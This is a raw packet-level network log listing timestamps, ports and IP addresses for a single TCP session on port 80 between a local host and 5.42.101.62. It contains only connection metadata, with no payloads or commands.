Sep 30, 2024 12:22:28.349955082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.349972010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.349987030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.349987984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.350006104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.350007057 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.350025892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.350034952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.350055933 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.350078106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.350712061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.350728035 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.350755930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.350770950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.350773096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.350774050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.350790024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.350815058 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.350795984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.350835085 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.350856066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.350872993 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.350888014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.350903034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.350918055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.350935936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.350945950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.350945950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.350961924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.350971937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.350979090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.350995064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.351007938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.351026058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.351042032 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.351856947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.351907015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.351916075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.351922989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.351952076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.351962090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.351973057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.351978064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.351994991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.352010012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.352020979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.352025986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.352040052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.352058887 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.352066040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.352077961 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.352081060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.352112055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.352130890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.352344036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.352359056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.352375031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.352391958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.352407932 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.352407932 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.352442980 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.352462053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.352483034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.352499008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.352515936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.352536917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.352554083 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.352588892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.352603912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.352619886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.352634907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.352641106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.352649927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.352658033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.352668047 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.352680922 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.352718115 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.353327036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.353368998 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.353382111 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.353384018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.353430986 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.353430986 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.353457928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.353471994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.353487968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.353503942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.353514910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.353522062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.353534937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.353554010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.353570938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.353571892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.353586912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.353601933 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.353617907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.353619099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.353636980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.353645086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.353645086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.353655100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.353663921 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.353682995 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.353699923 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.354296923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.354351997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.354355097 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.354373932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.354398012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.354417086 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.354424000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.354439020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.354460955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.354469061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.354484081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.354487896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.354506016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.354506969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.354523897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.354528904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.354547977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.354567051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.392333031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.392442942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.392463923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.392477989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.392494917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.392496109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.392512083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.392523050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.392529964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.392555952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.392573118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.392575979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.392587900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.392604113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.392617941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.392626047 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.392633915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.392657042 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.392674923 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.392709017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.392724037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.392739058 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.392755985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.392765045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.392792940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393146992 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393162012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393176079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393198967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393202066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393214941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393218040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393233061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393244028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393250942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393254995 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393268108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393275976 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393285036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393290997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393301010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393309116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393316984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393327951 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393346071 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393351078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393361092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393366098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393379927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393405914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393409014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393421888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393431902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393440962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393454075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393456936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393470049 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393479109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393487930 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393493891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393498898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393510103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393518925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393526077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393532991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393543959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393551111 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393560886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393577099 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393584013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393610001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393615961 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393623114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393626928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393642902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393651009 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393660069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393671036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393676996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393685102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393701077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393722057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393754959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393769979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393784046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393811941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393835068 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393852949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393867970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393882990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393899918 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393910885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393917084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393934965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393934965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393934965 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393950939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.393958092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393973112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.393986940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.424715996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.424730062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.424787045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.424822092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.424837112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.424851894 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.424875021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.424880981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.424890995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.424906969 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.424907923 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.424932957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.425010920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432050943 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432065964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432080984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432123899 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432130098 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432140112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432157040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432164907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432174921 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432183981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432207108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432226896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432228088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432244062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432284117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432301044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432316065 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432341099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432353020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432373047 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432387114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432403088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432419062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432430029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432435989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432461023 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432476997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432483912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432502031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432517052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432543039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432565928 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432638884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432653904 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432671070 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432687998 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432703972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432708979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432728052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432735920 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432744026 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432756901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432766914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432780981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432781935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432799101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432804108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432827950 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432843924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432856083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432871103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432887077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432903051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432913065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432924986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.432935953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432957888 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432981968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.432988882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.433098078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.433114052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.433129072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.433145046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.433161020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.433176994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.433192968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.433211088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.433229923 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.433259010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.433397055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.433412075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.433432102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.433448076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.433449030 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.433458090 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.433464050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.433478117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.433479071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.433492899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.433495045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.433511972 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.433530092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.479460955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.479496956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.479512930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.479528904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.479532003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.479562998 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.479588985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.479604006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.479619980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.479707003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.479707003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.479707003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.479707003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.479707003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:28.479718924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:28.479733944 CEST	80	52534	5.42.101.62	192.168.2.4
